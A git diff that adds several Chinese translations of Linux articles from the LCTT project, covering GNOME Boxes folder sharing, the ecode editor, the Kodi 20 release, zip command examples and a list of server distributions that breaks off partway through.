+-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/1/bookstack-open-source-documentation + +作者:[Dan Brown][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ssddanbrown +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/20/9/open-source-alternatives-confluence +[2]: https://github.com/tinymce/ +[3]: https://www.diagrams.net/ +[4]: https://opensource.com/article/19/9/introduction-markdown +[5]: https://opensource.com/downloads/mariadb-mysql-cheat-sheet +[6]: https://github.com/minio/ +[7]: https://www.keycloak.org/ +[8]: https://www.bookstackapp.com/docs/ +[9]: https://www.youtube.com/c/BookStackApp +[10]: https://www.reddit.com/r/bookstack +[11]: https://github.com/BookStackApp/BookStack/issues +[12]: https://www.bookstackapp.com/support +[13]: https://demo.bookstackapp.com/books/bookstack-demo-site/page/logging-in-to-the-demo-site +[14]: https://www.bookstackapp.com/docs/admin/installation/ +[0]: https://img.linux.net.cn/data/attachment/album/202302/04/180856n7ql7p8fk7l9fa9n.jpg \ No newline at end of file diff --git a/published/202302/20230115.0 ⭐️ Share Folder Between Guest and Host in GNOME Boxes.md b/published/202302/20230115.0 ⭐️ Share Folder Between Guest and Host in GNOME Boxes.md new file mode 100644 index 0000000000..64fe6eb3e7 --- /dev/null +++ b/published/202302/20230115.0 ⭐️ Share Folder Between Guest and Host in GNOME Boxes.md @@ -0,0 +1,134 @@ +[#]: subject: "Share Folder Between Guest and Host in GNOME Boxes" +[#]: via: "https://www.debugpoint.com/share-folder-gnome-boxes/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15517-1.html" + +在 GNOME Boxes 里的客体机和宿主机之间共享文件夹 +====== + +![][0] + +> 使用下面的步骤在 GNOME Boxes 应用中的宿主机和客体机之间共享一个文件夹。 + +GNOME Boxes 是一个创建和管理虚拟机的前端应用。它主要是为 GNOME 桌面开发的。然而,你可以在其他桌面环境中使用它,如 KDE Plasma 和其他环境。 + +在后端,它使用 QEMU、KVM 和 libvirt 技术,并提供一个易于使用的用户界面来管理多个虚拟机。 + +如果你想了解更多,你也可以参考关于 GNOME Boxes 创建虚拟机的 [这些指南][1]。 + +在之前的文章中,我们已经解释了如何在 [virt-manager][2] 和 [VirtualBox][3] 中共享文件夹。而下面的步骤也解释了 GNOME Boxes 的情况。 + +### 如何在 GNOME Boxes 中共享文件夹和文件 + +GNOME Boxes 主要支持 [SPICE 协议][4] 来实现远程访问、共享和许多虚拟化功能。SPICE 是虚拟化领域中最古老的开源包之一。 + +#### 1、初始设置 + +首先,确保在**客体机系统中安装以下 spice 软件包**。 + +``` +sudo apt install spice-vdagent spice-webdavd # for Ubuntu-based distros +sudo dnf install spice-vdagent spice-webdavd # Fedora, RHEL, etc +pacman -S --needed spice spice-gtk spice-protocol spice-vdagent # Arch Linux (optional) +``` + +在你安装完上述内容后,**重启**宿主机和客体机系统。 + +在宿主机系统中(对于 GNOME 桌面),打开 “设置Settings”,进入 “共享Sharing” 面板。 + +使用顶部的切换按钮**启用共享**。 + +然后,点击 “文件共享File Sharing” **启用文件共享**。请确保启用网络。密码是可选的。如果你想为你的共享文件夹启用基于密码的认证,请启用它。 + +![在设置中启用共享][5] + +![启用文件共享][6] + +关闭设置窗口。 + +打开 GNOME Boxes。右键单击虚拟机并选择 “偏好Preferences”。 + +在偏好设置窗口中点击 “设备和共享Devices and Shares”,并点击共享文件夹下的 “[+]” 按钮。 + +在 “本地文件夹Local Folder” 下:从你的宿主机中选择你想在客体机中访问的文件夹。 + +在 “名称Name” 中,给予你想要的任何名称。这个名称将在客人的文件管理器中可见。 + +点击 “保存Save”。 + +![在宿主机中添加一个共享文件夹][7] + +#### 2、为客体机设置 + +启动你的客体机虚拟机。 + +在客体机虚拟机内,打开文件管理器。如果你使用的是 GNOME 桌面,打开 Nautilus(即 “文件Files” 应用)。 + +点击 “其他位置Other Locations”。你应该在 “网络Networks” 下看到 “Spice 客户端文件夹Spice client folder”。 + +双击它,你应该看到你的宿主机系统的文件夹内容。 + +有时,上述文件夹需要一些时间才能出现。如果它不可见,请等待 1 或 2 分钟。通过 `F5` 刷新文件管理器窗口。 + +![客体机中的 Spice 客户端文件夹][8] + +#### 3、一些故障排除 + +此外,如果你看到以下错误,那么你需要手动访问该路径。 + +``` +Unable to access location - HTTP Error: Could not connect: Connection refused +``` + +![访问 spice 客户端文件夹时出错][9] + +在文件管理器中按下 `CTRL+L`,调出地址栏。在地址栏中,输入以下内容: + +``` +dav://localhost:9843 +``` + +然后点击回车。然后你应该看到文件夹的内容。SPICE 服务器使用 `dav` 协议,它在 9843 端口连接客体机和宿主机。 + +![通过 dav 协议访问][10] + +就这样了。现在你可以在 GNOME Boxes 中使用客体机和宿主机之间的文件共享。 + +下面是一个客体机和宿主机访问同一个文件夹的截图。 + +![在 GNOME Boxes 中在客体机和宿主机之间共享文件夹及其内容(示例)][11] + +如果你遇到任何错误,请在下方发表评论。 + +[这篇文章中使用了一些来自 GitLab 的参考资料。][12] + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/share-folder-gnome-boxes/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/tag/boxes +[2]: https://www.debugpoint.com/share-folder-virt-manager/ +[3]: https://www.debugpoint.com/share-folder-between-host-guest-virtualbox/ +[4]: https://www.spice-space.org/index.html +[5]: https://www.debugpoint.com/wp-content/uploads/2023/01/Enable-sharing-in-settings.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2023/01/Enable-File-Sharing.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2023/01/Add-a-share-folder-in-host.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2023/01/Spice-client-folder-in-guest.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2023/01/error-while-accessing-the-spice-client-folder.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2023/01/accessing-via-dav-protocol.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2023/01/Share-folder-and-its-contents-between-guest-and-host-in-GNOME-Boxes-sample.jpg +[12]: https://gitlab.gnome.org/GNOME/gnome-boxes/-/issues/430 +[0]: https://img.linux.net.cn/data/attachment/album/202302/07/121315k4ai4gnwa6imagob.jpg \ No newline at end of file diff --git a/published/202302/20230116.0 ⭐️ Meet ecode An Upcoming Modern, Lightweight Code Editor With a Brand New GUI Framework.md b/published/202302/20230116.0 ⭐️ Meet ecode An Upcoming Modern, Lightweight Code Editor With a Brand New GUI Framework.md new file mode 100644 index 0000000000..6e9e344c51 --- /dev/null +++ b/published/202302/20230116.0 ⭐️ Meet ecode An Upcoming Modern, Lightweight Code Editor With a Brand New GUI Framework.md @@ -0,0 +1,106 @@ +[#]: subject: "Meet ecode: An Upcoming Modern, Lightweight Code Editor With a Brand New GUI Framework" +[#]: via: "https://news.itsfoss.com/ecode-editor/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15505-1.html" + +迎接 ecode:一个即将推出的具有全新图形用户界面框架的现代、轻量级代码编辑器 +====== + +> 一个正在开发中令人兴奋的新代码编辑器,基于其自己的 GUI 框架。 + +![Meet ecode: An Upcoming Modern, Lightweight Code Editor With a Brand New GUI Framework][1] + +如果你看看周围的开源代码编辑器,有几个有前途的新项目可能会挑战 Visual Studio Code 的地位。 + +当然,这可能不会很快发生。**但对支持新项目持乐观态度也无妨。** + +我们最近在这里介绍了其中的一些选择: + +现在,我偶然发现了另一个编辑器,“**ecode**”。这个项目的作者提到,它从 [Lite XL][2] 等编辑器中获得了灵感。 + +有什么不同? + +- 它建立在其新的 GUI 框架 [eepp][3] 之上,该框架专注于提供一个丰富的用户界面。 +- 虽然它的目标是使用最少的资源,但 ecode 的理念针对的是有 SSD、高核心数和良好的 GPU 加速的**现代硬件**系统。 +- 该代码编辑器可以被编译为在任何现代浏览器中运行。然而,目前的重点并不在网页版的开发上。 + +![ecode official screenshot][4] + +这听起来不错。那么,让我们看一看。 + +> 🚧 该项目正在大力开发中。你不应该在日常工作中依赖这个工具。 + +### ecode 的特点 + +![ecode][7] + +[ecode][8] 是一个功能强大的编辑器,从一开始就有所有的基本功能。 + +当然,它有计划随着开发的进展增加更多的东西。就目前而言,这里有一些关键的亮点: + +- 可移植 +- 语法高亮 +- 终端支持 +- 自动补全 +- 可定制的颜色方案 +- 可定制的键盘绑定 +- LSP 支持 +- 缩略视图Minimap +- 插件管理器 +- 深色和浅色模式 +- 各种类型的分割视图以适应不同的工作流程 + +我在 Linux Mint 上简单地试了一下这个编辑器,它看起来确实是正在开发中。 + +但是,即使在其早期阶段,它也支持广泛的语言和相应的语法高亮。 + +![ecode options][9] + +你可以从一组预定义的主题中快速定制编辑器的主题。 + +对于编写大量代码(冗长的片段)并需要快速浏览的用户来说,缩略视图将非常方便。 + +最初,当我在一个空白区域右键点击时,该应用崩溃了。但是,随着下一个版本 **0.4.1**(在发表这篇文章的时候)的更新,它很快就被修复了。所以,我想说**开发进展似乎很有希望**。 + +![][10] + +### 下载 ecode + +你可以尝试一下 [在线演示][13] 来快速测试一些选项。 + +有一个可用于所有 Linux 发行版的 AppImage 软件包。也有用于 macOS 和 Windows 的软件包。 + +你可以从它的 [GitHub 发布页][14] 获得这些包,或者探索它的 [源码][3]。 + +> **[下载 ecode][14]** + +💬 有这么多有前途的新代码编辑器在开发中,你认为我们会对微软的 VS Code 有一个好的竞争吗? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ecode-editor/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/01/ecode-first-look.png +[2]: https://itsfoss.com/lite-xl/ +[3]: https://github.com/SpartanJ/eepp/ +[4]: https://news.itsfoss.com/content/images/2023/01/ecode-official.jpg +[5]: https://www.pjtra.com/apple-touch-icon.png +[7]: https://news.itsfoss.com/content/images/2023/01/ecode.png +[8]: https://github.com/SpartanJ/ecode +[9]: https://news.itsfoss.com/content/images/2023/01/ecode-options.png +[10]: https://news.itsfoss.com/content/images/2023/01/ecode-plugins.png +[13]: https://cdn.ensoft.dev/eepp-demos/demo-fs.html?run=ecode.js +[14]: https://github.com/SpartanJ/ecode/releases/tag/ecode-0.4.1 diff --git a/published/202302/20230116.1 ⭐️ Kodi 20.0 Nexus Update Includes Support for AV1 Video and Steam Deck Controller.md b/published/202302/20230116.1 ⭐️ Kodi 20.0 Nexus Update Includes Support for AV1 Video and Steam Deck Controller.md new file mode 100644 index 0000000000..358fe6c6eb --- /dev/null +++ b/published/202302/20230116.1 ⭐️ Kodi 20.0 Nexus Update Includes Support for AV1 Video and Steam Deck Controller.md @@ -0,0 +1,109 @@ +[#]: subject: "Kodi 20.0 \"Nexus\" Update Includes Support for AV1 Video and Steam Deck Controller" +[#]: via: "https://news.itsfoss.com/kodi-20-nexus-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "natsumm" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15501-1.html" + +Kodi 20.0 发布,支持 AV1 视频和 Steam Deck 控制器 +====== + +> Kodi 20 版本增加了多项重要功能。 + +![Kodi 20.0 "Nexus" Update Includes Support for AV1 Video and Steam Deck Controller][1] + +[Kodi][2] 是 Kodi 基金会开发的跨平台开源媒体播放器,提供了大量功能。 + +它的上一个主要版本是**两年前**发布的 [Kodi 19 “Matrix”][3]。 + +**Kodi “Nexus”** 是改进后的主要版本,它提供了几个新功能和改进。 + +让我们来看看这些。 + +### 🆕 Kodi 20 “Nexus” 更新了什么? + +这次发布带来了很多新的特性,较为突出的有: + +- AV1 编解码支持 +- 增强的 PVR 支持 +- 更新后的数据抓取器 +- 多个修复和改进 + +![kodi 20 nexus][4] + +#### AV1 编解码支持 + +Kodi 现在在 Linux 平台上支持开源的免版税的 [AV1 编解码][5]。 + +通过 [视频加速 API][6](VA-API)实现了解码 AV1 的硬件加速,并且还为视频输入流增加了 AV1 支持。 + +#### 增强的 PVR 支持 + +通过 [PVR][7] 观看电视和收听广播也得到了许多改进,其中一些值得注意的改进包括: + +- 重新设计过的频道管理器。 +- 能够显示特定频道或录音的提供方。 +- 能够按提供方对频道和录音进行排序。 +- 支持只读录音。 +- 改进后的 EPG 搜索。 +- 自动清理缓存的 PVR 图像。 +- PVR 客户端插件的多实例支持。 +- Estuary 主题下的 PVR 体验调整。 + +#### 更新后的数据抓取器 + +TVDB 电视节目抓取器已更新,以防止其在加载损坏的“视频流”和“信息标记视频”后出现问题。 + +> 🗒️ 建议旧版 Kodi 20 的用户更新到最新版本,避免使用此抓取器时出现问题。 + +此外,更新后的 Python 电视节目抓取器,解决了一个潜在的问题,即新的抓取器使用的 XML 格式与现有的程序不同的问题。 + +因此,当你向库中现有的电视节目添加新集时,即便你正在使用 NFO 文件,你也必须刷新节目以下载新集指南。 + +#### 🛠️ 多个修复和改进 + +除此之外,Kodi 20 还提供了一些修复和改进,例如: + +- Steam Deck 控制器的内置支持。 +- 开始支持 NFSv4 的文件系统。 +- 默认支持光盘。 +- 使用通用缓冲区管理 API 时,能够设置使用 HDR 输出。 +- 解决了 DRMPrime 的一个问题。 +- 多个对于图文电视的支持。 +- 修复了单机游戏的黑屏问题。 + +要了解更多信息,请阅读 [官方公告][8]。 + +### 📥 下载 Kodi 20 + +Kodi 20 “Nexus” 可从 [官方网站][9] 及其 [GitHub 仓库][10] 获取。 + +在应用商店和官方软件库也可以获取到。 + +Kodi v21(代号:Omega)正在开发中。如果你想从这次发布中获得更多内容,请关注下一个版本。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/kodi-20-nexus-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[natsumm](https://github.com/natsumm) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/01/kodi-nexus-20-release.png +[2]: https://kodi.tv +[3]: https://news.itsfoss.com/kodi-19-release/ +[4]: https://news.itsfoss.com/content/images/2023/01/Kodi_20_Nexus.jpg +[5]: https://en.wikipedia.org/wiki/AV1 +[6]: https://en.wikipedia.org/wiki/Video_Acceleration_API +[7]: https://kodi.wiki/view/PVR +[8]: https://kodi.tv/article/kodi-20-0-nexus-release +[9]: https://kodi.tv/download/ +[10]: https://github.com/xbmc/xbmc/releases/tag/20.0-Nexus diff --git a/published/202302/20230117.0 ⭐️⭐️ Learn zip Command in Linux Using Examples.md b/published/202302/20230117.0 ⭐️⭐️ Learn zip Command in Linux Using Examples.md new file mode 100644 index 0000000000..6d04f8d7d8 --- /dev/null +++ b/published/202302/20230117.0 ⭐️⭐️ Learn zip Command in Linux Using Examples.md @@ -0,0 +1,184 @@ +[#]: subject: "Learn zip Command in Linux Using Examples" +[#]: via: "https://www.debugpoint.com/zip-command-linux-examples/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Chao-zhi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15539-1.html" + +zip 命令的解释与示例 +====== + +> 这是一份关于理解 Linux 中的 zip 命令的初学者指南,并附有一些例子。 + +![][1] + +这篇文章是 [Linux 命令][4]学习系列的一部分。 + +zip 文件是一个包含一个或多个文件的压缩档案。它作为一种无损数据压缩技术被广泛使用。由于压缩,它占用的磁盘空间更少,在计算机网络上传输时需要的数据也更少。 + +这些压缩文件可以在 Linux、Windows 和 macOS 中轻松提取。有各种支持压缩 zip 文件的软件,也提供提取它们的功能。 + +由于它很流行,几乎所有的操作系统都内置了这个功能。 + +在本教程中,我们将谈论几种基于终端的方法来压缩 Linux 中的文件。 + +### Linux 中的 Zip 命令示例 + +#### 语法 + +在 Linux 中,你需要使用的压缩文件的程序名称是 `zip`。下面是基本的语法: + +``` +zip [压缩文件名] file1 file2 file3 +``` + +以下是正式的语法: + +``` +zip [-options] [-b path] [-t mmddyyyy] [-n suffixes] [zipfile list] [-xi list] +``` + +理想情况下,`zip` 命令应该被安装在所有主流的 Linux 发行版中。如果没有,使用下面的命令来安装它。 + +#### 在 Debian、Ubuntu 和相关发行版上安装 + +``` +sudo apt install zip +``` + +#### 在 Fedora、基于 RHEL 的系统上安装 + +``` +sudo dnf install zip +``` + +#### 在 Arch Linux 上安装 + +``` +pacman -S zip +``` + +让我们继续看一些例子。 + +#### 如何压缩文件和文件夹 + +我的测试目录中有以下三个文件。它们是 `file1.txt`、`file2.txt` 和 `file3.txt`。如果我想用 zip 压缩三个文件,并创建一个 `myfiles.zip` 的压缩包,用下面的命令就可以了。 + +``` +zip myfiles.zip file1.txt file2.txt file3.mp3 +``` + +输出: + +``` +adding: file1.txt (stored 0%) +adding: file2.txt (stored 0%) +adding: file3.mp3 (deflated 13%) +``` + +![Linux 中基本压缩命令的输出][2] + +这里你应该记住几个要点。 + +- 当创建一个 zip 文件时,你应该有对当前目录的修改权限。 +- zip 文件格式不包含权限,即读(4)、写(2),和执行(1)。所以,创建该文件的用户成为该文件的所有者。 +- 如果你想使用带有权限的 zip,可以尝试使用 `tar` 命令(将在后面的教程中解释)。 +- 在上面的输出中,`zip` 命令显示了被添加到存档中的文件名和压缩方法。 +- 在目标文件名中指定 .zip 文件名的扩展名并不是必须的。如果你省略了 .zip,`zip` 会在最后加上 .zip。 + +当你操作成百上千的文件时,为了减少终端中的输出,你可以使用 `-q` 参数来抑制 `zip` 命令中的输出: + +``` +zip -q myfiles.zip file1.txt file2.txt file3.txt +``` + +#### 递归压缩子文件夹 + +`zip` 命令的 `-r` 选项使你能够囊括所有子目录。这个选项会递归地遍历到一个目录结构的最后一个子目录,并将它们全部加入到压缩文件中。 + +下面的命令创建了一个包含 `my_folder` 内所有内容和子目录的压缩文件: + +``` +zip -r myfolder.zip my_folder +``` + +你也可以使用通配符(`*`)在你的压缩文件中包含特定类型的文件: + +``` +zip -0 my_movies.zip *.mp4 +``` + +#### 混合添加文件和目录到压缩文件 + +有了以上所有的选项,`zip` 命令允许你把文件和目录一起作为参数指定。 + +``` +zip -r myfiles.zip file1.txt file2.txt file3.txt my_folder1 my_folder2 +``` + +### 压缩算法 + +zip 压缩的默认输出包含两个不同的词,即 `deflate` 和 `store`。zip 默认使用的压缩方法是 `deflate`。如果它成功地压缩了文件,那么输出显示 `deflate`。而当它不能压缩一个文件时,它只是将它们原封不动地存储在 .zip 文件中。这些文件的输出显示为 `store`。 + +目前有许多压缩算法。其中一种是 bzip2 压缩法,在 Linux 中的 `zip` 命令支持它。你可以指定压缩算法作为一个命令选项来使用。使用选项 `-Z`,后面跟上算法名称,如下所示: + +``` +zip -r -Z bzip2 myfolder.zip my_folder +``` + +#### 压缩级别 + +`zip` 命令还允许你指定压缩级别。压缩级别是指你想让 zip 优化多少来减少包的大小。它是一个从 0 到 9 的数值范围。压缩级别为 9 的值是最高的压缩。默认值是 6。 + +记住,如果你用 zip 压缩成千上万个大小不一的文件,它可能会占用较多的系统资源,并花费大量的时间。所以,如果你在程序中使用它,或者用 shell 脚本处理大量的文件,请遵循正确的编程标准。 + +``` +zip -9 -r myfolder.zip my_folder +``` + +#### 用密码保护一个压缩文件 + +你也可以用下面的 `-e` 选项对压缩文件进行密码保护: + +``` +zip -e -r myfolder.zip my_folder +``` + +运行该命令后,它将要求输入密码。 + +> 注意。尽量不要使用 zip 命令来对压缩文件进行密码保护。zip 的加密算法是使用流式加密的 PKZIP。而它很容易被破解。如果你想保护你的文件,请使用 7-Zip 或其他高级工具。 + +#### 分割较大的压缩文件 + +许多应用程序、服务器和文件共享可能包含固定大小的文件上传限制。例如,你有一个 10GB 的文件,但服务只允许每个文件 1GB。使用 `zip` 的 `-s` 选项,你可以将其压缩并分割成几块进行上传。 + +``` +zip -s 1g -r myfolder.zip my_folder +``` + +### 总结 + +你学到了一些 `zip` 命令的基本知识。它对大多数本地情况很有用,在这些情况下,你需要通过即时压缩来进行快速备份。然而,对于更高级的选项,你应该使用 7-Zip 或其他命令,我将在接下来的几篇文章中分享。 + +同时,你可以在 [zip 手册][3] 中了解更多。 + + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/zip-command-linux-examples/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Chao-zhi](https://github.com/Chao-zhi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2023/01/zip-file-head.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2023/01/Output-of-Basic-zip-command-in-Linux.jpg +[3]: https://linux.die.net/man/1/zip +[4]: https://www.debugpoint.com/category/linux-commands diff --git a/published/202302/20230117.1 ⭐️⭐️ Top 10 Linux Distributions for Servers in 2023.md b/published/202302/20230117.1 ⭐️⭐️ Top 10 Linux Distributions for Servers in 2023.md new file mode 100644 index 0000000000..5a8210b339 --- /dev/null +++ b/published/202302/20230117.1 ⭐️⭐️ Top 10 Linux Distributions for Servers in 2023.md @@ -0,0 +1,153 @@ +[#]: subject: "Top 10 Linux Distributions for Servers in 2023" +[#]: via: "https://www.linuxtechi.com/top-10-linux-distributions-for-servers/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: "Veryzzj" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15535-1.html" + +2023 年十佳 Linux 服务器发行版 +====== + +![][0] + +由于具备多种优势,Linux 操作系统是各类服务器中的热门选择。首先,它是免费(少数商业发行版除外,如 RHEL 和 SUSE Linux Enterprise Server)和开源的。它的开源性意味着开发者可以查看其源代码并进行修改,而且可以根据规定的许可条款重新发布。其次,通常 Linux 被认为是稳定、通用的,且比 Windows 更为安全。最后,Linux 可以轻松地部署在各类平台,如裸机、虚拟机和云环境。 + +在这篇文章中,我们重点介绍了十佳 Linux 服务器发行版。 + +### 1、红帽企业 Linux(RHEL) + +[红帽企业 Linux][1]Red Hat Enterprise Linux(RHEL),是专门为企业环境开发的商业 Linux 发行版。它是一个性能驱动、可靠安全的操作系统,提供了增强的可用性和无缝部署,使其成为服务器环境的理想选择。 + +RHEL 支持裸机、虚拟机和云环境中的各种工作负载。实际上,红帽是世界领先的开源解决方案供应商,提供了众多产品,包括 Red Hat OpenShift、Ansible 自动化平台、Open 混合云、JBoss 企业应用平台和 SAP 等等。 + +![Neofetch-Command-Output-RHEL-System][2] + +### 2、Ubuntu 服务器 + +由 Canonical 开发和维护的 Ubuntu 是最流行和广泛使用的 Linux 发行版之一。Ubuntu 是一个基于 Debian 的 Linux 发行版,完全自由开源,以其桌面版而闻名,它直观、用户友好,被认为是学者和初学者的理想选择。Ubuntu 有 3 个版本,即:桌面版Desktop服务器版Server核心版Core。 + +虽然桌面版在全球范围内得到了大量使用,但服务器版也为服务器环境提供了一个坚实的平台。首先,它可以部署在任何环境中,无论是在物理机、虚拟机还是云环境中,都具备广泛的扩展功能。这意味着可以随时增加资源用来满足不断变化的需求。 + +由于服务器版本非常精简,没有任何图形用户界面,因此相对轻量,资源开销低。这意味着 CPU 和内存的使用也会较低。因此,提高了性能,并具备企业级的稳定性。 + +除了在物理数据中心和虚拟服务器上安装外,Ubuntu 服务器还可以在 AWS 和 Azure 等公共云中使用。据 Canonical 称,55%的 OpenStack 云运行在 Ubuntu 上。 此外,你可以付费获得自己管理的 Openstack 云。 + +![][3] + +### 3、Debian + +Debian 是最早的 Linux 发行版之一,以其稳定性而闻名。它有三个版本:稳定版Stable不稳定版Unstable测试版Testing。 + +Debian 稳定版是官方发布的最新 Debian 发行版,是服务器和台式机最受欢迎的版本。这个分支的所有软件包都经过了严格的测试和调试,因此被认为是可以运行生产工作负载的。 + +Debian 服务器是一个快速可靠的操作系统,强调安全性和稳定性。正是由于这个原因,它成为服务器环境的一个完美选择。此外,它提供了广泛的硬件支持,有超过 59,000 个软件包,是迄今为止所有操作系统中软件包数量最多的。 + +就像 Ubuntu 服务器一样,Debian 轻量,功能多,非常适合企业工作负载。实际上,它比 Ubuntu 更稳定,更易于管理。 + +![][4] + +### 4、SUSE Linux 企业服务器 + +在提供优秀服务器平台方面,另一位具有竞争力的对手是 SUSE Linux 企业服务器SUSE Linux Enterprise Server(SLES)。该服务器操作系统是由位于德国的 SUSE 公司创建和维护的。 + +SLES 是一个为处理企业级工作负载而建立的商业发行版。它可以适应任何环境,并针对稳定性、可靠性和安全性进行了优化。它的高可扩展性,使 IT 团队能够有效地部署他们的应用程序和服务,以应对不断增长的业务需求。 + +最新的 SLES 版本提供了易于管理的互操作。它还针对 Docker 容器、Kubernetes 和地理集群提供了更多的支持和兼容。后者提供了高可用的灵活性,使 IT 团队能够配置跨越多个数据中心区域的复制集群。 + +SUSE Linux Enterprise Server 不仅支持内部工作负载,而且支持云服务,包括微软 Azure、谷歌计算引擎和亚马逊 Web 服务。 + +### 5、OpenSUSE Leap + +由 OpenSUSE 项目开发,OpenSUSE 是一个基于 RPM 的非商业 Linux 发行版,由 SUSE 公司开发和维护。同样是自由开源的,OpenSUSE 提供了两个版本: + +- OpenSUSE Leap +- OpenSUSE Tumbleweed + +OpenSUSE TumbleWeed 是 OpenSUSE 的滚动发行版本。它包含最新的稳定应用程序,包括内核、Git、Samba、桌面应用程序等等。因此,它是开发人员或高级用户的完美选择,他们需要利用最新的软件堆栈进行工作负载。然而,由于频繁的内核更新,导致与其他第三方驱动模块的不一致,它并不是服务器的理想选择。 + +OpenSUSE Leap 是将 OpenSUSE 用于服务器的首选。它是一个开源和社区驱动的发行版,发布周期较慢,因此,比 TumbleWeed 更适合。社区驱动,这意味着它在发布之前要经过严格的测试。 + +Leap 相对来说更容易使用,并提供高性能和稳定性,是处理企业级工作负载的理想选择。它是商业服务器发行版(如 SLES 和 RHEL)的优秀替代方案,并允许企业在裸机和云部署上部署他们的工作负载。 + +![][6] + +### 6、Rocky Linux + +Rocky Linux 是一个作为 CentOS Linux 的替代品而开发的 Linux 发行版,后者在 2021 年 12 月 31 日达到了 EOL(寿命终止)。它是一个自由而开源的 Linux 发行版,具备稳定性、可靠性且定期更新,并在 10 年的支持生命周期内完全免费。 + +Rocky Linux 是一个企业级操作系统,旨在与 RHEL 100% 兼容,目前正在由社区大力开发。 + +自从 CentOS Linux 不合时宜地突然停产后,导致该发行版获得较高人气。它可以服务器和台式电脑上安装,也提供了公有云供应商(如亚马逊 AWS 和谷歌计算引擎)上的定制镜像。 + +Rocky Linux 开发者提供了一个迁移脚本,允许用户从其他企业版(如 CentOS Linux 和 Oracle Linux)迁移到 Rocky Linux。 + +![][7] + +### 7、AlmaLinux + +另一个为填补 CentOS Linux 留下的空白的选择是 AlmaLinux。同样一个完全自由开源的企业操作系统。 + +AlmaLinux 最初是由 CloudLinux 创建的,但目前是由社区驱动的。它提供了一个生产级的企业操作系统,与 RHEL 1:1 二进制兼容。简而言之,它是 RHEL 的克隆,简而言之,它是 RHEL 的克隆,并免费提供坚实的稳定性和 RHEL 所带来的优势。 + +作为一个企业级的服务器操作系统,AlmaLinux 可以轻松运行关键工作负载。此外,它提供长期支持的定期发布。 + +![][8] + +### 8、Oracle Linux + +由甲骨文公司开发的 Oracle Linux 是一个安全和高性能的操作系统,由 RHEL 源代码编译而成。它针对混合部署和多云部署进行了优化,与 Rocky 和 AlmaLinux 一样,Oracle Linux 与 RHEL 是 100% 二进制兼容。 + +对于数据中心,Oracle Linux 是一个可行的选项,当然也可以作为 EOL 的 CentOS 的完美替代品。由于它的稳定性和性能,是企业应用的理想选择。 + +与 RHEL 和 SUSE 等商业 Linux 发行版不同,Oracle Linux 可以完全免费下载、使用和重新发布。它在 GNU 通用公共许可证(GPLv2)下是可用的。 + +### 9、Fedora 服务器 + +Fedora 是 Fedora 项目开发和维护的自由开源的 Linux 发行版,该项目由红帽赞助。 + +Fedora 作为 RHEL 的上游社区发行版。所有的应用程序在推送到 RHEL 之前都要经过严格的测试。因此,它被称为“最前沿”的操作系统,这意味着它定期获得最新的软件应用程序和更新。 + +长久以来,Fedora 以其工作站版本而受欢迎,该版本是为笔记本电脑和台式电脑打造的。随着时间的推移,它已经扩展到包括其他版本,如 Fedora 服务器、Fedora IoT 和 Fedora CoreOS。 + +Fedora 服务器是一个强大、可靠、灵活的操作系统,拥有最好和最新的数据中心技术。作为一个领先的版本,它提供了开源社区的最新技术,并且易于安装、设置和使用各种工具进行管理,如 